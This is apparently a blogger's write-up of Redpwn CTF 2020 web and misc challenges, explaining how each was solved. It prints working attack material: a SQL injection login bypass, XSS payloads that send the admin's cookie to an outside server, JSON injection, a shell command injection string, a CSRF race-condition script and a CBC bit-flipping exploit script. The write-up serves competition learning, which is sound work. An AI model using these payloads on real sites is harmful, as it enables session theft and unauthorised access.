Redpwn CTF 2020 - Web, Misc

Isopach · June 26, 2020

I enjoyed this CTF overall and there were many well-made challenges! I played with CTF.SG again, and although we barely solved a single RE, it was lots of fun in the other categories.


Inspector General

Category: Web | 1300 solves | 112 points

Challenge Description My friend made a new webpage, can you find a flag?

The challenge description mentions the inspector tool, but all your have to do is to just view the source as the flag is not dynamically loaded.

Go to view-source: and you will see the flag on line 7.


FLAG flag{1nspector_g3n3ral_at_w0rk}


Category: Web | 1007 solves | 148 points

Challenge Description I made a cool login page. I bet you can't get in!

It looked like a simple SQLi, so I tried admin'; and admin'; -- , but no luck. However, as an extension, I then tried admin'; /* - another way of writing the comment tag and we got the flag!

Login Flag

FLAG flag{0bl1g4t0ry_5ql1}


Category: Web | 374 solves | 373 points

Challenge Description I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it here
Note: The site is entirely static. Dirbuster will not be useful in solving it.

This was also pretty easy! Reading /paste/script.js, we can see that it is just simple XSS.


"><img src=x onerror="javascript:document.location=''+document.cookie"></img>

By sending this paste to the admin, we can get the flag!

Static Pastebin

FLAG flag{54n1t1z4t10n_k1nd4_h4rd}


Category: Web | 280 solves | 412 points

Challenge Description I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!

I solved this after the CTF ended as my teammate waituck had already solved it.

We actually went down the wrong rabbit hole of AES-CBC bit flipping, until we checked the number of solves and decided that we were thinking too much.

The solution here is JSON Injection, since it was not validated.


Just login as CTF.SG", "member": 1, "b": "CTF.SG and you’ll be recognized as a member and hence be able to see the flag.


FLAG flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}


Category: Web | 222 solves | 434 points

Challenge Description Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here
Note: The site is entirely static. Dirbuster will not be useful in solving it.

This is the same as the previous challenge, you just have to XSS the admin to get the cookies, which most likely contains the flag.

I first tried the <script> tags which didn’t work, and after reading the source on I understood why:

if (children[i].nodeName === 'SCRIPT') {
            i --;
        } else {

It removes the script tags then sanitizes them. Thus, let’s take a look at the sanitize function:

if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {

So basically you can only use src, width, height, alt, class to load your XSS payload. I actually tried <img src but found out for the first time that you cannot load script tags in the src attribute (how did I not know that before…).

So I tried the iframe way and it worked on the first try!


<iframe src="javascript:top.location='//'+document.cookie"></iframe>

Send the site to admin and you’ll get the flag in your response.

Static Static Hosting

FLAG flag{wh0_n33d5_d0mpur1fy}


Category: Web | 135 solves | 464 points

Challenge Description My friend made a fanpage for Tux; can you steal the source code for me?

This is a very geocities site that almost gave me a headache looking at it, so I jumped straight to the provided index.js source instead of actually looking at the site.

Just from line 9, we can see that there is a possibility of LFI res.redirect('/page?path=index.html') as the app calls the page with a path by specifying the filename.

Moving on, we check the logic:

//Get absolute path from relative path
function prepare(dir){
    return path.resolve('./public/' + dir)

This is nothing, since you can simply bypass it with ../ if not for the preventTraversal(dir) function.

//Strip leading characters
function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
        if(dir.length > 0){
            return strip(dir.slice(1))
        return ''

    return dir

This is also nothing, since you just have to add a letter/number as your first character in your payload, eg. a../ will bypass the 2 functions above.

function preventTraversal(dir){
        let res = dir.replace('../', '')
        return preventTraversal(res)

    //In case people want to test locally on windows
        let res = dir.replace('..\\', '')
        return preventTraversal(res)
    return dir

However, this was a problem that got me stuck for a while as I did not realise on the first glance that it is not bypass-able, while attempting to meet the requirements of the other 2 functions. After an hour, I decided to read the rest of the source more carefully and noticed the checking logic:

path = strip(path)

path = preventTraversal(path)

And then I thought, “This was it!!” Since both strip and preventTraversal was not checked at the same time, all you have to do is to fool the parser.


Send this and we’ll get the source where the flag is not [REDACTED] instead. On Line 6: const flag = 'flag{tr4v3rsal_Tim3}', we have the flag.


FLAG flag{tr4v3rsal_Tim3}


Category: Web | 82 solves | 479 points

Challenge Description Request smuggling has many meanings. Prove you understand at least one of them at
Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.

Again, let me start off by saying there is no route from request smuggling to the flag. Many hours were wasted due to the troll challenge description. The request smuggling occurs because of the wide range of ports used, but the actual exploit here is command injection due to subprocess.Popen(f"cat 'notes/{nid}'.
Lesson learnt: Read the source code and ignore the challenge description.

Just like in Defenit, we guessed the flag.txt without even using ls first.


';cat 'flag.txt

Anyway, my teammate Justin was the one who solved this after I gave up on the request smuggling exploitation, so I’ll put a link to his blog after he’s done writing it.

Edit: You can read it here!

FLAG flag{y0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b}


Category: Web | 71 solves | 482 points

Challenge Description It's important for public keys to be transparent.

Let’s start off first by saying the hint didn’t help at all. In fact, it led me on a wrong rabbit hole where I went to and went to their github repo for that and nothing good came out of it.

So anyway, at first when I saw the data.txt I thought this was a crypto question. In fact, it is part crypto, since I solved it with this script:

from Crypto.PublicKey.RSA import construct

e = long(65537)
n = long(23476345782117384360316464293694572348021858182972446102249052345232474617239084674995381439171455360619476964156250057548035539297034987528920054538760455425802275559282848838042795385223623239088627583122814519864252794995648742053597744613214146425693685364507684602090559028534555976544379804753832469034312177224373112610128420211922617372377101405991494199975508780694545263130816110474679504768973743009441005450839746644168233367636158687594826435608022717302508912914016439961300625816187681031915377565087756094989820015507950937541001438985964760705493680314579323085217869884649720526665543105616470022561)
pubkey = construct((n, e))

This will give us the public key, which I tried searching for the hashed version (both SHA-1 and SHA-256) on but nothing good came out of it.

After a while, I was definitely stuck so I just left it there, until my teammate pointed out that I was searching for the hash of a public key instead of certificate. D’oh!

So let’s convert it to a certificate using openssl:
openssl pkey -pubin -outform der -in textbook.key | openssl dgst -sha1

By SHA-1 hashing the .der format of the key, we can find the actual domain on the site here:

After visiting the DNS listed in the Subject/commonName (, we get the flag!

Anti Textbook Flag

FLAG flag{c3rTific4t3_7r4n5pArAncY_fTw}


Category: Web | 51 solves | 488 points

Challenge Description I want to buy some of these recipes, but they are awfully expensive. Can you take a look? Site:

So we are given a site where you can purchase flags. I already know where this is going - we just have to get our hands on the shop item called flag, which as usual, there is no way our balance will be able to afford it.

Since we don’t have a sell function but a report function instead, I knew we have to phish the admin somehow - either by XSS or CSRF - by sending a link containing our payload.

So anyway, while blackboxing the site, I found an IDOR within 4 minutes of opening it and got the admin credentials - username and password.

Admin Password

I had guessed that the admin ID was either 1 or 0, and afterwards I also noticed that in the last several lines of the source, a comment did state that the ID is 0.

However, trying to log in as admin fails because it checks for the IP, and it is NOT bypass-able via any HTTP Header since it is being checked by validating req.socket.remoteAddress. Nevertheless, I still tried it anyway and you can see the failed results:

IP Request Headers

So anyway, I went to continue blackboxing because it’s more fun that way.

We find out that CSRF might not be possible, since the request is being sent via JSON, so there will always be a trailing = sign at the back of the request. HOWEVER, I also found that since the Content-Type is not being checked, you can simply send your payload as a JSON String and it will work, like this!


Then I got stuck again, as I remembered that the admin account only has a balance of 140, which was far from enough to purchase the flag at 1000. However, my teammate Kenneth suggested that maybe the admin had already purchased the flag, so we went into the wrong rabbit hole of trying to get the result of getPurchased and getting the admin to send it to us.

In the process, I learnt about maintaining session during xhr by using withCredentials and onload and onreadystatechange. I also learnt that it is impossible to either retrieve the Set-Cookie header from the response or send a Cookies header with xhr, since it was blocked by the specifications for security reasons.

Anyway, waituck came in and saved the day by telling us that you could just solve it with a Race condition, like this:


    async function jsonreq() {
        var xhr = new XMLHttpRequest()"POST","", true);
        xhr.withCredentials = true;
    for (var i = 0; i < 1000; i++) {

Host this on your server and send it to the admin. Soon, you’ll have enough credits to buy the flag.

Cookies v2 Buy Flag

And go to /purchases to view it!

Cookies v2 Flag

FLAG flag{n0_m0r3_gu3551ng}

Panda Facts V2

Category: Web | 42 solves | 490 points

Challenge Description Uh oh; it looks like they already migrated to a more secure platform. Can you do your thing again? These horrible people must be stopped!

This is the actual bit flipping crypto we were trying to do in Panda-v1, so we just expanded on that solution and used it here.

I can only do Baby Crypto, so I left it to my crypto guy waituck, as advised by the challenge author to another person in the discord.


I’ll paste the solution here if he doesn’t write it, but it is basically ensuring the last bit is \",\"member_: n"} where n is systematically bruteforced until we get to the target.


#!/usr/bin/env python

import requests
import json
from pwn import *

def blockify(a):
    return [a[i:i+16] for i in range(0, len(a), 16)]

def validate_req(payload):
    cookie = {'token' : payload}
    r = requests.get('',cookies=cookie)
    return r.text

def blocks_to_payload(blks):
    import base64
    return base64.b64encode("".join(blks))

def send_blks(blks):
    encoded_payload = blocks_to_payload(blks)
    return validate_req(encoded_payload)

def get_cookie(payload):
    r ='', json = {'username' : payload})
    return json.loads(r.text)['token'].decode('base64')

def get_flag(blks):
    encoded_payload = blocks_to_payload(blks)
    cookie = {'token': encoded_payload}
    r = requests.get('',cookies=cookie)
    return json.loads(r.text)['flag']

def bind_payload(payload, i):
    return payload % ("%25d" % i)

def xor_payload(block):
    # our current \",\"member_: "}
    # our target  _",_"member": n}
    new_payload = ""
    new_payload += chr(ord(block[0]) ^ ord("\\") ^ ord(" "))
    new_payload += block[1:3]
    new_payload += chr(ord(block[3]) ^ ord("\\") ^ ord(" "))
    new_payload += block[4:11]
    new_payload += chr(ord(block[11]) ^ ord("_") ^ ord('"'))
    new_payload += block[12:14]
    new_payload += chr(ord(block[14]) ^ ord('"') ^ ord('1'))
    new_payload += block[15:]
    return new_payload

payload_len = 25
payload = '%s","member_: '

for i in range(1000):
    c_payload = bind_payload(payload, i)
    cookie = get_cookie(c_payload)
    payload_blocks = blockify(cookie)
    payload_blocks[-3] = xor_payload(payload_blocks[-3])

    data = send_blks(payload_blocks)
    if 'true' in data:
        flag = get_flag(payload_blocks)

FLAG flag{54v3_th3_b335_1n5t34d}



Category: Misc | 407 solves | 359 points

Challenge Description This bash script evaluates to echo dont just run it, dummy # flag{...} where the flag is in the comments.
The comment won't be visible if you just execute the script. How can you mess with bash to get the value right before it executes?
Enjoy the intro misc chal.

We just have to execute the script step-by-step, with comments. So just use

bash -x
and you’ll get one character of the flag printed out every step of the script.

FLAG flag{us3_zsh,_dummy}

Twitter, Facebook